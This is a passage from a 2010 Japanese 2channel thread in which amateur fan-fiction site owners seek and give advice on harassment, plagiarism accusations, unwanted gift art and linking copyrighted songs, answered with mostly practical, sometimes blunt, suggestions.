そこまで商業作品のキャラにこだわってしまうと本当は無実でも変な誤解をされかねないんじゃないか。
確かに>>774の言うとおりスルーがいいかもね。

778 ：772 ◆5.J..rdUpo ：2010/01/10(日) 21:53:15

>>774-777
レスありがとうございます
好意的に装った嫌がらせなのかKYなのか判断つきかねていたのですが
ここはスルースキルを磨くことにします
あくまで事務的に否定しときます

779 ：スペースNo.な-74：2010/01/10(日) 22:08:22

スルーするのか否定するのかどっちなんだ・・・

780 ：772 ◆5.J..rdUpo ：2010/01/10(日) 22:38:27

>>779
あ、失礼
●●に似てるというのはスルーして
他にもKYな質問をしてきてるから
その米主に対して事務的に対処しようというつもりです
自分のレス以外の事まで書いてしまい混同させてすみません

781 ：スペースNo.な-74：2010/01/10(日) 23:04:45

その※主のこと相当嫌ってないか？
丸ごとスルーした方がいいよ・・・事務的にレスすると
かえって他に普通の※くれた人へのレスとの温度差が浮き彫りになって
普通の閲覧者に良い印象与えないよ

782 ：772 ◆5.J..rdUpo ：2010/01/11(月) 00:15:46

返信不要指定がないから今までの慣習で返信すべきとは思っていたのですが
※のウザさにイラッときたのがこの数レスでダダ漏れなようなので
そんな※は来なかったということにしておきます

本当に似てるならそれはそれで指摘されて凹むけど
全く似てない上に
ガサツでツンデレっぽいところとか似てますね☆（フェイク有）なんて
そんな言い方すればどのキャラでも無理やり当てはめられる言い方されて
似てるとかパロディですか以外、楽しみにしてますとかそういう感想なしで
読んでポカンとした後こいつどういうつもりだよと地味にHP削られました
愚痴すみません
アドバイスしてくれた方、本当にありがとうございました
名無しに戻りますね

783 ：スペースNo.な-74：2010/01/11(月) 00:48:24

>>782
>>3

784 ：スペースNo.な-74：2010/01/11(月) 12:04:56

なあ。それ創作では良くあること
その内私が考えたキャラと被ってるので著作権表記しろとか
もっと予想つかない、もっと酷・・・クラスがアッパーな方々がやってくるぞ？

>今までの慣習で返信
レスから見た管理人の性格から見るに、米返信や交流そのものを控えめにし
サイトを持って自分のやりたいことが何なのかを冷静に考え直すことをお勧めする

785 ：スペースNo.な-74：2010/01/11(月) 14:59:15

>>784
>>3

786 ： ◆HGIS0eAXD6 ：2010/01/11(月) 16:25:22

768です、アドバイス有難うございました。
「高校在学中または18歳未満の方は閲覧禁止」のままで行こうと思います。

787 ：ネ困 ◆99hRvlnLgo ：2010/01/11(月) 20:41:00

相談させて下さい

正義厨？な人達に困惑しています。
「あなたが書いた○○という作品のシチュと構図、台詞、展開をパクっているサイトがある！」と
連日拍手やメールが送られています。

・※主達が言うところの「パクサイト」の開設は最近
・「パクっている」という作品を読んでみた友人三人は、「確かに似ている」との答え（ただ、本人達も「あんた寄りの意見になっちゃう」とは言ってます）
・友人達三人＋私が知る限り、その表現、台詞は、ジャンル内では私の作品以外には見たことがない（私のオリジナル解釈が入っている為）
・ただし、シチュと展開はとてもありふれたもの

先方を見たところ、日記やリンクもなく、作品と拍手と拍手レスしかないサイトでした。
なので、相手が私のサイトを見たとは断定できません。
こんな状態なので、私としては「別にどうでもいい」です。
ですが、※主達（IPから見て三人か四人）は何度も「先方に抗議しろ」「パクリを許すな」とメールや拍手を送ってきます。
※主達が連携しているのかは不明ですが、毎日誰かからメールあるいは※が来る、という状態が１ヶ月ほど続いています。

日記でそれとなく提言騒動のことを匂わせて、「動くつもりはない」と意志表示したのですが、
「あなたが動かないなら私が動く！」みたいな状態です。
何だかいきり立っているので、連絡がある度に「何もしないで下さい、私も何もしません」と
繰り返しているのですが、※主達はそれが腹立たしいらしいです。
「（私）さんは被害者なのに、何で抗議しないんですか！第二第三の被害者を産むつもりですか！」と
ヒートアップしていて、怖いです。

また、自分でも微妙に「普通、あれは似ないよな」と思ってしまっているので、「あなたたちの気にしすぎです」と
言い切れないところがあります。

どう対処すればいいでしょうか。先方管理人さんにアクションを取るつもりはありません。

788 ：スペースNo.な-74：2010/01/11(月) 21:14:58

※主達のipが判るならアク禁

789 ：スペースNo.な-74：2010/01/11(月) 21:15:50

>>787
はっきり動く気がないと伝えてもメールが止まないなら、悪禁、メール拒否で良いんじゃないか？
（しばらくはイタチごっこになるかも知れないが）
その手の正義厨は相手サイトが謝罪とか閉鎖するまで粘着してくると思う

790 ：スペースNo.な-74：2010/01/11(月) 21:16:14

>>787
「動く気はない」でなくて「今は動けない」なら引き下がるかも。
「必要と感じれば自分から動きますのでそちらからは動かないでください。
　トラブルとなれば責任が伴いますので他の方に動かれた場合
　事態がややこしくなる可能性があります。
　当方の作品を大事に思ってくださるお気持ちだけで十分です」
って感じかなぁ。
該当サイトがグレーなのがややこしいね。

791 ：スペースNo.な-74：2010/01/11(月) 22:22:56

ふう

792 ：スペースNo.な-74：2010/01/11(月) 23:25:03

まあグレーだと思う所もありつつ動く気がないなら総スルー
アク禁、メル拒で通せば良いと思う
正義な自分に浸りたいだけだからそのうち飽きるだろ

793 ：スペースNo.な-74：2010/01/12(火) 05:09:16

正義厨を片っ端からアク禁して、
悪口流されようがヲチ気にせずブログやっていきます。

794 ：スペースNo.な-74：2010/01/12(火) 09:05:28

本人なら787のトリつけて終了報告してくれ

795 ： ◆x4zUrhrho6 ：2010/01/12(火) 12:26:27

相談させてください

自分は虹小説サイト持ちです
最近私の小説のイメージイラストを、あるサイト管理人が
「～さん（私）に捧ぐ」という献辞つきでその人のサイトにアップしました
その人と私の間に交流は一切ありません
こういった場合、何かお礼を言いにいったほうがいいのでしょうか？

日記での擦り寄りがすごくて、お礼なんか言ったら友達認定されそうなので
正直スルーしたいです
でも、私の友人が同じ小説のイラストを描いてくれて、それはお礼と一緒に自分のサイトにアップする予定です
スルーしたら何か言われそうでどうしようか迷っています

スルーして友人のイラストもアップしない、というのがベストでしょうか？
よろしくお願いします

796 ：スペースNo.な-74：2010/01/12(火) 12:40:39

>>795
交流ないサイトがイメージイラストをアップしたなんて知りようがない（建前）
知りようがないから、お礼のいいようもない

私だったら普通にスルーするけど

797 ：スペースNo.な-74：2010/01/12(火) 12:40:57

あくまで自分ならこうする、ですが

あるサイト管理人の方は向こうからアクションがない限りはスルーする
あるサイト管理人さんとお友達は同等ではないんだし
向こうからアクションされると決まったわけでもないし
もしアクションされたら自分のサイトの日記で一言触れるくらいはするかもしれない

798 ：スペースNo.な-74：2010/01/12(火) 12:48:01

交流がないなら、そこは知らないサイトだろ
誰か余計なお世話で※から報告してきたとしても、書いた相手本人から接触がないならスルーしてしまう

だれもが自分のサイトを見ていると思ってのかね、その相手

799 ：スペースNo.な-74：2010/01/12(火) 12:52:16

でも実際>>795は見てたじゃないｗ

見てると思ってる、じゃなくて、アピールすれば相手にしてもらえると思ってるんじゃないの

800 ： ◆x4zUrhrho6 ：2010/01/12(火) 12:53:31

やっぱりスルーするのが吉ですね
回答ありがとうございました

801 ：787 ◆99hRvlnLgo ：2010/01/12(火) 12:55:58

ありがとうございました。
アク禁は難しいので（毎日IPが変わるので）、>>790さんの言うように
「今は動けない」とぼかしてみます。

>>794
793は私ではないです。

802 ： ◆teMpG32c0A ：2010/01/12(火) 23:43:17

相談させて下さい

虹系のオン専用サイトを運営しています。
突然携帯から「あなたはパクっている！」というコメントが届きました。
覚えが無いと書いた上で「詳細を教えて欲しい」と返したところ、
返事もなくそのまま日が経ちました。
「悪戯と思っていいでしょうか？」とコメントしたら
その翌日に今度は会社のIPで罵倒するだけのメールが届きました。
結局どこのサイトのことなのか、説明は一言もありませんでした。

会社の管理者さんに調べて貰い、社内からそうしたメールを送ったことと
仕事には関係の無い不適切なサイトを閲覧していた件を注意をして貰うのと共に、
アクセスに残っていた携帯端末の型番について調べて貰ったら、所持していた
携帯の型番と一致しました。
携帯のIPはアクセス時に本当のIPが見えない仕様になっていましたが
同じ型番の携帯からアクセスした人は他にはいません。
会社の管理者さんからは「二度と閲覧しないように注意したけど、
自覚が無かったら再度やるかもしれない」という返事がありました。
本人からの謝罪は特にありませんでした。

オン＜オフで何年か活動していた知り合いには
「（社内からメールを送るような非常識な人間なので）形に残るように
誓約書を書かせた方がいいんじゃない？」
と言われたのですが、その人はオフの活動時のストーカーへの処置として
やっていたそうなので私の今回のケースでそれがどの程度の効力があるのか、
やりすぎにならないかというのが心配です。
既に行って貰った本人への注意と会社からのアクセス禁止で十分でしょうか？

ちなみに>>801さんのサイトの話だったのかもしれないと思いましたが
期間や私のサイトの特徴とは異なる部分があるので
別の話として扱って下さい。

803 ：スペースNo.な-74：2010/01/12(火) 23:47:44

下3行の意味がわからん

804 ： ◆teMpG32c0A ：2010/01/12(火) 23:52:49

>>803
もしかして同じ人が>>801さんにコメやメールを送っているのかな？と思ったものの
詳細を読んだら違っていたので>>801さんとは無関係と思って欲しいということです
でもいちいち書く必要は無かったですね、すみませんでした

805 ：スペースNo.な-74：2010/01/12(火) 23:58:45

>>802
とりあえずは十分でしょ
収まらなかったらその時に対応を考えればいい

806 ：スペースNo.な-74：2010/01/12(火) 23:59:21

>>802
爆撃みたいに罵倒メールが着ていたら話は別だけど
そんなに多くないのであればアク禁程度で良いんじゃないでしょうか。
もしまた同じような事をされたらログと共に会社、プロバ（この場合は携帯？）に報告でも手遅れではないと。
あと>>802自身がオフ活動もしてるのであれば誓約書要るかもだけどしてないなら別に不要な気がする。

＞自覚が無かったら再度やるかもしれない
あとこれが引っかかるんだけどもしかしたら注意してる時も反省の意が見えなかったり
大して強い注意はしてないんじゃないかな……(；´Д｀)

807 ：スペースNo.な-74：2010/01/13(水) 00:08:35

>>802
現時点ではそれで十分だと思う
相手方の会社の管理者が再犯の可能性ありと判断してそれを伝えてきているということは
次がある可能性は高いけど、実際に次があってから念書などに関しては動いた方がいいと思う
現状であまりおいつめるとかえってｽﾄｰｶｰ化する可能性もあるから

808 ： ◆teMpG32c0A ：2010/01/13(水) 00:20:55

ありがとうございます
数としても10通にも満たないですし、確かに下手に刺激するのは却って良くないですね
管理者さんによると自由にサイトを閲覧・社外へのメール送信ができる環境で
会社としては緩いかもしれません
反省していなかったらまた他の手段でやってくると思うので注意して様子を見てみます

809 ：スペースNo.な-74：2010/01/13(水) 17:12:28

次があっても、会社としては首にする以上のことはできないってダケじゃね？

どこも人員整理したがってるからな。
会社から仕事に関係ない罵倒メールでも、整理の理由にする。

810 ： ◆cI.j0U.qx2 ：2010/01/14(木) 20:38:01

相談です。当方虹字サイト、ややメジャージャンルで中堅。
昨年秋ごろにリクをやって、すべて年内にアップ済み。
最近になって、リクしてきた一人（以下A）がリクのお礼と称して絵を送りつけてきました。
それが自分としては納得がいかない状況だったので素直に受け取れません。
上手く纏められないので、以下一部箇条書きで書きます。

・AはリクUP直後から今までリクに関しては一切無視で、他所のサイトの
チャットに参加したり、コメントを送りまくっていました。でもウチのサイトを
見ていたのは知っています。（日記にウチの更新（リクではない）に関して書いてた）
・元々自サイトに頂き物コーナーは無く、数点頂いた分をアップしたくて今年に入ってから作成しました。
・リクのお礼として他の方（以下B）にも絵は頂いてましたが、BさんはリクＵＰ直後に拍手米
その後丁寧な長文感想メールと共に絵を送ってくださった。基本頼んでない絵を
送りつけられるのは好きでは無いけど、Bさんは絵を送るまでのプロセスが完璧で
なおかつ私の好きなキャラを描いてくださったのがすごく嬉しかったので有難く頂きました。
・それに比べてAはタイミング的にも頂き物コーナーが出来た途端ノコノコ出てきたとしか思えず
さらに今までコメント出来なかったのは送りつけてきた絵を描いていたからだと言いますが
絵チャで遊びまくってたのはどこの誰ですかとｗしかも相手のオリキャラ絵…orz

ウチのサイトを見てるのに完全無視だったのですごく悩んでたのが馬鹿馬鹿しくて悔しくて辛い。
もうイライラしてまともな対応が出来そうにありません。
大人の対応で表向きに不自然なくAの絵を頂き物コーナーに載せない方法ってありますか？
ちなみに頂き物コーナーは無くしたくありません。知恵をお貸し頂ければ幸いです。

811 ：スペースNo.な-74：2010/01/14(木) 20:46:49

感想とお礼のお品有難うございましただけで良いだろ
載せるって言わなきゃいいじゃん
個人的に楽しませていただきますとかさ

載せて欲しい的なことをいってくるなら
取り扱ってるジャンル以外なのでとか断れるでしょ
もしくはそんなメール来なかった

812 ：スペースNo.な-74：2010/01/14(木) 20:53:28

貰ったことを公表せずに、「私のPCに大事に保存させて頂きますね！」
などと適当に返してスルー。それでももし展示して！と要望が来たら
元々以前からお付き合いのある/親しい方の作品しか載せていない、とか
（本当に親しいかどうかはAには知る由もないことだし）
二次創作のサイトである以上オリキャラは展示しない方針だ、とか
申し訳ありませんがと低姿勢に返してスルー。
それ以上文句言うなら間違いなくそれは厨なのでアク禁推奨

とにかくAがどんな人間か分からないので、普通に感謝を述べて様子をみるのがいいと思う

813 ：スペースNo.な-74：2010/01/14(木) 20:55:15

>>810
自分も一方的にイラストを送られたことがあるけど、
「ありがとうございました。個人的に楽しませていただきますね」で
終わらせてる

頂き物ページに載せろ、とはよほどの心臓じゃないとストレートには
言えないようだ
もし言ってきたら、「Bさんとはお友達なので掲載させてもらったが、
リクのお礼等は掲載しないようにしてます」とか「ジャンル違い（取り扱い
キャラ違いでもいいが）なので」とぼかせばいいのでは

あとはやっぱり魔法の呪文だな、「メールフォームの調子がおかしい」

814 ：スペースNo.な-74：2010/01/14(木) 21:02:01

>>810
知恵も何も、頂き物コーナーに注釈として
「頂いた作品は全て掲載する主義です」とでも書いてんの？
さもなくばリクに対するお礼の絵はありがたくいただいときゃいいだけじゃん
貰う貰わないと、掲載するしないがごっちゃになってるみたいだけど
上記の注釈を敢えてしていない限り別個のもんだよ
表向きも何も、810のサイト上で誰から何を貰ったかなんて逐一書く必要はないし。
大人の対応とか以前に、「貰った事に対するお礼を言葉で述べる」はした方がいいだろうけど
それ以上（サイト掲載）は別問題だろ。何もしない、でいいじゃん

もうとにかくAの事が大嫌いでAが何をしても気に食わないのはわかったけど
810自身が物凄く狭視的で、感情的というか幼さが抜けてない人のようだから
他人は他人にそこまで興味ない、他人の行動は他人のもので自分には関係ない、
とかそういうテキトーな事を何か考える前に呟いたほうがいいんじゃないかい

あと今後物凄く嫌いな人が出来ても、愚痴は誰にも言わない方がいいよ
助けてあげたくなる愚痴とうわあって引いちゃう愚痴が歩けど810は今のとこ後者だ
2の吐き捨て系スレで誰か分からんように書くがよし

815 ：スペースNo.な-74：2010/01/14(木) 21:13:28

>>810
もらった絵全てを頂き物コーナーに飾らなくてもいいんじゃないの？
何を飾るか飾らないかは管理人の自由なんだしさ
大人の対応という事で、お礼はしっかり言う＆絵は飾らない。
もし飾らない理由を聞かれたら、
１：オリキャラ絵だから（ただしオリキャラじゃない絵を更に送ってこられる可能性あり）
２：親しい友人からの頂き物しか飾らない方針だから（これが一番つっこまれにくいと思う）
等の理由を返せばいいと思う

816 ： ◆cI.j0U.qx2 ：2010/01/14(木) 21:57:26

短時間に沢山の回答ありがとうございました。
>>810です。

後出しになるといけないと事細かに説明するのとフェイクでごちゃごちゃになって
お見苦しい文章になってしまった事をお詫びします。
Aさんはむしろ萌え語りなんかを盛んに振ってくれる人だったので
変わり様がショックで、余計に醜い感情が湧いた事も否めません。

一応補足ですが、オリキャラはいわゆる虹創作に出てくるオリキャラで
ジャンル違いでは断りにくいかなと思った事、また「表向きに」と気にしたのは
Aさんの交流範囲が広いことを懸念していました。加えてA本人のサイトに
私へ送った絵として展示されている事、その辺りが引っかかって一人ややこしく考えてました。

幸い自サイトに頂き物の展示に関しての記述はしていなかったので
お礼と感想だけで止めておきます。
回答してくださった方皆さんがほぼ同じ対応だったので
そういうシンプルな対応で良いのだなと分かりました。
本当にありがとうございました。

817 ：スペースNo.な-74：2010/01/14(木) 22:16:11

Aが元々交流好きなら、頂き物ページが出てきた時
「ああ、この人には絵を送っても良いんだ/嫌がられないんだ」と
解釈して行動に出たってだけな感じだよね
そこでオリキャラなのは自己愛が強いとしても、多分A自身そんな深く考えてないのかも
あんまり構えず、気楽に構えたらいいよ

818 ：スペースNo.な-74：2010/01/14(木) 22:19:44

あんまり構えず⇒あんまり考えず　です。ごめん

819 ：スペースNo.な-74：2010/01/17(日) 05:29:26

耳に痛いレスは見えないんだな

820 ：スペースNo.な-74：2010/01/17(日) 10:53:40

相談させて頂きます。
同じジャンルで同人サイトをやっていて知り合いったネット友人に
自分は男性だと告白されました。
それは別に良いのですが、告白したことでネジでも緩んだのか
メッセやメールでやたらエロ話をしてきて困っています。
（お互いに３０超えてます）
別にエロ話は嫌いじゃないのですが、ジャンル話以外の話を長々と
されても困るだけなんだと知りました……。
出来る限り音便にFOしたいのですが、どんな方法がお勧めでしょうか？

821 ：スペースNo.な-74：2010/01/17(日) 11:02:23

>>820
書かれてる情報だけなら、メッセやメールアドレスを破棄しろとしか言えない。
オフでの面識の有無とか、共通知人の有無とか、エロ話以外で繋がりを維持したい理由とか
820側の事情をもうちょっと書いてくれないとね。

822 ：スペースNo.な-74：2010/01/17(日) 11:08:13

>>820
自分ならエロ話ばっかりだと困るってすぱっと言っちゃうけどな。COではダメなの？
できるかぎり穏便にFOとなると
メールの返事を徐々に遅らせる。内容を短く、そっけないものにしていく。
メッセもあんまり反応しない。
というのを繰り返して少しずつ距離を取っていくしかないんじゃない？

823 ：８２０：2010/01/17(日) 11:11:27

>>821
すみませんでした。
オフでの面識はなく、私はイベントに参加してますが、
相手がイベントに出て来る可能性は今後もありません。
しかし「今度遊ぼうね」くらいの口約束はしています。
斜陽ジャンルのマイナーカプなので周囲は全員知り合いのような物で
リンクも被っているところが数カ所あります。
エロ話以外でのつながりを維持したい理由ですか……
やっぱり斜陽ジャンルのマイナーカプなので、そのお話が
出来るなら、と未練たらしく思うところはあります。
>>820
はい。考えてみます。

824 ：スペースNo.な-74：2010/01/17(日) 11:25:42

>>823
あなたに彼氏かダンナがいるなら、引っ張り出したらどうだ？
『俺の女にエロトーク仕掛けるとはふてぇ野郎だ』って。

825 ：スペースNo.な-74：2010/01/17(日) 11:29:17

>>823
821です。回答ありがとう。そういう事情なら連絡手段を絶つのはまずいね。
820がイベント参加組で相手がそうでないんだったら、>>822に追加して
「最近○○さんがしつこくて～」と根回ししておいたらどうだろう。
相手が男性でエロ話をしてきてることは最後の切り札に取っておいて。

826 ：スペースNo.な-74：2010/01/17(日) 12:38:39

エロ話が腐男子バレではじめて真の腐友ができた！と喜び
今まで話せなかったジャンルまで暴走萌え話してるのなら
どうにかなる気がする
・ジャンル外の話はあまり分からないので～と無難にスルー
・自分も別ジャンル話を振ってみる
・自ジャンルの話しましょうよと言う
・自ジャンルのみ話を振り反応
・正直にまだそれほど親しくないのでそこまでの萌え話は、とか
総合的に落ち着けｗと伝える

セクハラ入っているならCOを視野に入れたFO

827 ：スペースNo.な-74：2010/01/17(日) 14:18:34

>>820
「ジャンルに関係ないエロ話はナシで」とか　意思表示　するのが先

それで意見無視された場合にCO，FOだと思うが
意思表示を先にしておけば、
「エロ話ナシでって頼んだのに聞いてくれないので、もうメールやメッセ無理」とかも言える訳だし

大体、一方的なきっかけでネジ緩んで勝手にエロ話を振ってくるようなＫＹぎみの男性に、
女性的な「フェードアウトするから察しろ。空気嫁」は伝わらない可能性の方が高い
理由も何も告げずに「避ける」って行動だけを取ると、逆に粘着化する場合もある

828 ：スペースNo.な-74：2010/01/17(日) 15:03:15

>820は女性なのだよね？特に明記無いけど

まぁ同性異性にせよ、さして親しくない（リア友などではない）人間に
エロ話、しかも萌えエロではなく、自分的エロ話する人間は
テンションや年齢関係なく普通に異常
男性→女性なら「これって結構セクハラですよ^^;」で終わらせて、以後
エロメールには一切返事しない
男同士ならそれこそはっきり「キモイよ、お前」で片づければいいと思う

829 ：820：2010/01/17(日) 16:42:00

相談に乗ってくださりありがとうございます。
私は女性です。エロ話は二次創作に関係するものではなく
一言で言うとセクハラです。
(あなたの作品で抜いた、あなた自身で妄想している等)
私は下品な話嫌いではないので、適当に話を合わせていた結果
相手が暴走してしまったというか……。
おっしゃるとおり、意思表示をしてからCOを含めたFO対策を
練ろうと思います。
ありがとうございました。

830 ：スペースNo.な-74：2010/01/17(日) 18:31:29

作者自身で妄想してるって言うのは当然セクハラとして
作品で抜いた、もセクハラに入るの？言い方によるのかな。

831 ：スペースNo.な-74：2010/01/17(日) 19:04:00

創作サイト餅です。
真性の基地外さん（他の被害者さんの調査により入院確定）に昔ロックオンされ
荒らされていた過去があるのですが、どうやら最近退院したらしく、再び現れました。
新HNでさも別人を装ってコメントを続けていた上に（その文も、作品に触れていない、支離滅裂等おかしかったのですが、
小学生かネット初心者かと思い、普通に対応していました）最新のコメントで、わざとかそうでないのか、
前のHNを名乗り、その後「やべ、○○って書いちった、当時は精神病で今は治ったなんて言い訳にもならない…
何ならアク禁してもいいけど…あ～あ…もっと行く末を見たかったな…（要約・口調は原文）」と
謝罪なし、反省の色もなし、むしろヲチ宣言かよっていうメールが来ました。
ヲチだけなら勝手にしとけと言いたいのですが、問題は彼に騙り・盗作の前科がある事。
動機は妬みなど、こちらでは気を付けようのない事でした。
とりあえず被害拡大防止にリンクは外すとして、もういっそ今日にでも「（現在のHN）を使うのは今日で終わりです」等と
騙り防止した上で逃亡閉鎖→名前変えて移転して細々とやりたい所なのですが、
長期連載を待っていて下さるROMの方や諸々考えるとそれもどうかと思います。
何か助言頂けると幸いです。

832 ：スペースNo.な-74：2010/01/17(日) 19:57:33

>>831
乙。
真性か。わざとらしく名乗っているあたり、あなたがうろたえるのを見て喜んでいるみたいだね。
そうやって自分の影響力を誇示しているというか。
　
あなたが逃げると相手の思う壺、相手が喜ぶだけだと思うんだけど。
騙り盗作もあなたがいちばん嫌がることをやって自分に注目させるため。
実力もないくせに目立ちたがる能無しのやり口だよ。

まずはそんなやつに振り回されてROMを失うようなことはしないように。
気をしっかりもて。
そして「お前の相手はしない、迷惑だ」と明言したのちはアク禁、そして無視。
こういうヤツは無視がいちばんこたえる。存在を認めるな。
一次創作なら盗作されれば堂々と法的手段に訴えることができる。

私もよく似たヤツにまとわりつかれた。
法的機関や立場が上の第三者に相談してもしもの時に備え、それを公言した。
「問題が起こったときお前の相手をするのは私ではなく、第三者です」とも伝えた。
いい人ぶるのをやめてROMと作品を守るために鬼になったよ。
ROMが引くかと思ったが、逆だった。三年間かんこなだったのに米いっぱいきたw

そうやって一回こちらが逆上するとこ見せたら相手は逃亡、今は平和だよ。
そしてまたかんこなだけどねw

833 ：スペースNo.な-74：2010/01/17(日) 20:47:35

>>831
とりあえずＨＮとサイトＵＲＬだけは絶対手放すなと言いたい。
831が手放して別の誰かが取得または騙りをしてしまうと、
831こそが本物であり迷惑かけられてる側だという証明が難しくなる。
ウザイのは分かるが引いたら付け込まれる。踏ん張れ。

834 ：831：2010/01/17(日) 22:00:36

>>832-833
レスありがとうございます。
読んでいたら、何だか振り回されていた自分が馬鹿らしくなってきました…。
たかだか何の縁もない一人のために、私が積み重ねてきたものを手放すなんて何て事を考えていたんだろう。
個人的に今までの書き込みから思ったのは、多分本人は反省してるつもりだとか、
仲良くなりたいと思っていても、それが普通の人のように出来るようになれる環境（もしくは先天性疾患）に
なかったんだろうなと少し可哀相な境遇の人に見えます。
それもあり、出来るだけ穏便に対応したいと考えているのですが、時には毅然とした対応も必要ですよね。
アク禁はしたらしたで逆上して外部で暴れそうなので、メールについても触れ、
偽名で騙すような行為など誠意のない対応だった事が残念だった事を書き、書き込みを禁止して放置してみます。
それが却って、外部で語られた場合の保険になるかもしれませんし。
それで図に乗るようだったら、以前の件も合わせて全力で潰しにかかろうと思います。
例の調査して下さった被害者さんとも連絡を取り、今返信待ちです。

特に832さん、経験談が聞けてとても参考になりました。なんだかんだでかんこなって平和ですよねｗ
また何かあれば相談に来るかもしれませんが、ありがとうございました。

835 ：スペースNo.な-74：2010/01/18(月) 10:33:41

相談させて下さい。
同人サイト管理人です。

先日、ようつべ徘徊してたら神曲に出会いました。
それは曲そのものの良さだけでなく、私が好きなキャラにもぴったりの歌詞で
感動のあまりその曲をもとに小説を書いてしまいました。

近々サイトにうｐ予定ですが
その小説を読んでくれた人にも是非その曲を聞いて欲しいと思っています。
曲とセットで完成する作品だと思ってます。
だけど直接ようつべのその曲へのリンクを貼るのは控えるべきでしょうか？
*ttp://www.youtube～みたいにリンク先を書くだけでもだめでしょうか？
あるいは「ようつべで"○○（曲名）"と検索して下さい」と誘導するだけでも問題でしょうか？

もしどれもだめならどうするのが良いのか、アドバイスお願いします。

836 ：スペースNo.な-74：2010/01/18(月) 10:40:47

ようつべの神曲ってのがどんなんかわからんのだけど
それはアマの人が作った曲で本人がうｐしてるの？
だったらリンクしてもいいと思うけど閲覧者が「○○さんがおすすめしてたので来た」
「○○サイトから来ますた」とかコメントされる可能性はないの？

商業の曲でうｐ主がアーティストと関係ないなら
曲名を書いて「機会あったら聴いてみてください」ぐらいにした方がいいんじゃないかな
ようつべで検索すれば聴けるとかは書かない方がいいと思う

837 ：スペースNo.な-74：2010/01/18(月) 10:43:45

>曲とセットで完成する作品だと思ってます。
こういうのって本人だけがそう思ってる場合があるしね
絵サイトの「絵が変わってしまいました！」報告と似てる気がする
閲覧者からすると違いがわからん

838 ：835：2010/01/18(月) 10:53:36

早速お答え下さってありがとうございます。

>>836
説明不足ですみませんでした。
プロの曲でアーと私とは何の関係もないのですが
そのアー自身はようつべに自分の曲がうｐされてるのを喜んでるみたいなんです。
ファンの人からそう聞きました。
なのでいいかなとちょっと思ったんですが・・・・それは関係ないでしょうか。

>>837
なるほど、そうかもしれません藁

839 ：スペースNo.な-74：2010/01/18(月) 11:00:18

藁なんて見たの何年ぶりだろう…

840 ：スペースNo.な-74：2010/01/18(月) 11:12:49

なんかもう動画にリンクすることで心が決まってるみたいだし
835の好きにしたらいいと思うな
歌と小説１セットで完成品なら動画に直リンは親切だよ

841 ：スペースNo.な-74：2010/01/18(月) 11:15:55

>>836
＞閲覧者が「○○さんがおすすめしてたので来た」
＞「○○サイトから来ますた」とかコメントされる可能性はないの？

ニコじゃあるまいしうｐ主と同一人物だとか何か関連があるとかでなければ
○○サイトから来たなんて誰も知らないようなサイト名なんかわざわざ出す奴ないだろ
835のサイトがジャンル越えて誰でも知ってるようなメジャーならともかく
ようつべなんかそれこそ個人のサイト名出してここから来ましたなんて奴みたことない

842 ：835：2010/01/18(月) 12:19:05

申し訳ありません、ようつべへの誘導などはしない方がいいとのアドバイスをいただきましたが
曲も聞いて欲しいという思いも強く、なかなか決心がつかないので再度質問させて下さい。

ようつべへ誘導した場合に問題になってくる事って何があるでしょうか？
例えばどんな事態を避けるために誘導しない方が良いのでしょうか？

そんな事も分からないのかと呆れられるかもしれませんが、どうかご教授願います。

843 ：スペースNo.な-74：2010/01/18(月) 12:25:45

その曲にハマって頭の中がフィーバーしちゃってるんだな

844 ：スペースNo.な-74：2010/01/18(月) 12:29:57

>>835
アーティストと曲名がわかるなら、普通にそれだけ書けばいいのにと思った。
誰もがようつべに好感持ってるわけじゃないし、万が一その曲が削除されたら
そのアドレスからはもう見れなくなるんだから。
それに、ようつべとかの動画サイトってなんでも無許可であげられてるって印象の方が
強いから、ようつべとかニコ動のリンク貼ってるだけでもうそのサイトには行かないって
人も結構いるよ。あと、それだけで非常識だと言われることもある。
いくらアーティスト本人がようつべにうｐされるのを喜んでても、そんなのファンじゃなくちゃ
わからないんだし。
作品の最後とか日記とかにアーティスト名と曲名を書いて、今回の作品はこの曲を
イメージして書きましたとか書けば、気になる人は聴いてみると思うよ。
アドレス貼らなくたって曲を探す方法なんていくらでもあるし、もしどこで聴けるかを
聞かれた場合にようつべで探せば見つかることとか教えるでもいいんじゃないかな。

845 ：835：2010/01/18(月) 13:03:26

>>843
そうなんです。同じキャラが好きな人にとにかく聞いて欲しいという思いが
強いあまり、正しい判断ができなくなってしまってるようです。

>>844
厳しい言葉を覚悟してたのに、ふたを開けてみたら丁寧な回答で・・・・
「本当にここは２ちゃんか？」と思わず目を疑ってしまいました。
本当にありがとうございます！
目が覚めました。頭も冷えました。
844さんのおっしゃるとおりだと納得できました。
ようつべへの誘導はしないという決心がつきました。

アドバイスして下さった皆様、ありがとうございました！

846 ：スペースNo.な-74：2010/01/18(月) 13:41:46

とりあえず２には暫くくんな、といいたい>835　ｷﾓｽ

847 ：スペースNo.な-74：2010/01/18(月) 13:45:13

自分もたまに曲からイメージした話書いて曲をオススメするけど
ようつべじゃなくてアイチューン試聴とか公式やレコ社の試聴コーナーで
リファラ気になる場合は直接飛べないように文字だけとかにしてる

848 ：847：2010/01/18(月) 13:46:02

わ、乗り遅れたすまん

849 ：スペースNo.な-74：2010/01/18(月) 15:11:01

>>845
とりあえず脳内がフィーバーしてるときは、何もしない方がいい。
ファンの人が言ってただって、本当に言ってたかどうかわからない。
似たような脳内フィーバーの人が「きっと喜んでくれるに違いない！」
って、思い込んでるだけかもしれんよ？

本当にその作品が大好きなら、ここで質問しなきゃいかんような噂じゃなく、
きちんと裏を取ってから行動してもいいんじゃないか？

850 ：スペースNo.な-74：2010/01/18(月) 15:31:18

違法動画にサイトから嬉々としてリンク貼ろうとする時点でおかしいから

851 ：スペースNo.な-74：2010/01/18(月) 15:37:27

つか曲と小説セットで完全なんて言ってる時点でアホだろ
曲だけ、小説だけじゃ不完全だっつってんだから何様だよ

852 ：スペースNo.な-74：2010/01/18(月) 15:41:57

つーかこんな事質問しようと思う時点で頭おかしいわ
素人のボカロ曲とかでそこでしか聴けないから他に手段がないとか
そういう理由かと思ったらプロってｗ
失礼すぎ

853 ：スペースNo.な-74：2010/01/18(月) 15:43:46

やはり２ちゃんは手厳しいインターネッツですね藁

854 ：スペースNo.な-74：2010/01/18(月) 15:55:27

>>835フルボッコﾜﾛﾀw

まぁ、「この小説はある曲にインスパイアされて書きました」というのは勝手だけど
ネタ元は自分の頭の中にだけしまっておいた方がいい、でFAだ
所詮はサイト主の脳内イメージソングwwに過ぎないのに
一方的にその歌と小説への熱い思い（笑）を語られても閲としては( ﾟДﾟ)ﾊｧ?　だしなww

